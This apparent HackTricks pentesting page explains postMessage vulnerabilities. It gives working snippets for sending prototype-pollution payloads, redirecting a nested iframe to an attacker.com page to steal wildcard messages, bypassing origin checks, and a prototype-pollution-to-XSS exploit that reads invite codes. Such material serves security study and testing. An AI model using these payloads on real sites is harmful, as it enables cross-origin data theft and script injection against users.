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hacktricks/pentesting-web/postmessage-vulnerabilities/README.md
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PostMessage Vulnerabilities

PostMessage Vulnerabilities

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Send PostMessage

PostMessage uses the following function to send a message:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Note that targetOrigin can be a '*' or an URL like https://company.com.
In the second scenario, the message can only be sent to that domain (even if the origin of the window object is different).
If the wildcard is used, messages could be sent to any domain, and will be sent to the origin of the Window object.

Attacking iframe & wildcard in targetOrigin

As explained in this report if you find a page that can be iframed (no X-Frame-Header protection) and that is sending sensitive message via postMessage using a wildcard (*), you can modify the origin of the iframe and leak the sensitive message to a domain controlled by you.
Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won't work.

<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s
      
      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>

addEventListener exploitation

addEventListener is the function used by JS to declare the function that is expecting postMessages.
A code similar to the following one will be used:

window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)
  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements --> Event Listeners in the developer tools of the browser

Origin check bypasses

  • event.isTrusted attribute is considered secure as it returns True only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.

  • The use of indexOf() for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:

    ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")

  • The search() method from String.prototype.search() is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:

    "https://www.safedomain.com".search("www.s.fedomain.com")

  • The match() function, similar to search(), processes regex. If the regex is improperly structured, it might be prone to bypassing.

  • The escapeHtml function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge hasOwnProperty, the escapeHtml won't perform as expected. This is demonstrated in the examples below:

    • Expected Failure:

      result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"

    • Bypassing the escape:

      result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

    In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.

  • The document.domain property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.

e.origin == window.origin bypass

When embedding a web page within a sandboxed iframe using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window's origin is similarly set to null, aligning with the iframe's origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Bypassing e.source

It's possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):

// If it’s not, return immediately.
if( received_message.source !== window ) {
    return;
}

You can force e.source of a message to be null by creating an iframe that sends the postMessage and is immediately deleted.

For more information read:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header bypass

In order to perform these attacks ideally you will be able to put the victim web page inside an iframe. But some headers like X-Frame-Header can prevent that behaviour.
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Stealing message sent to child by blocking the main page

In the following page you can see how you could steal a sensitive postmessage data sent to a child iframe by blocking the main page before sending the data and abusing a XSS in the child to leak the data before it's received:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Stealing message by modifying iframe location

If you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe, so if it's receiving a postmessage sent using a wildcard, an attacker could change that iframe origin to a page controlled by him and steal the message:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage to Prototype Pollution and/or XSS

In scenarios where the data sent through postMessage is executed by JS, you can iframe the page and exploit the prototype pollution/XSS sending the exploit via postMessage.

A couple of very good explained XSS though postMessage can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage to an iframe:

<html>
<body>
    <iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
        function get_code() {
            document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
            document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
        }

        setTimeout(get_code, 2000);
    </script>
</body>
</html>

For more information:

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

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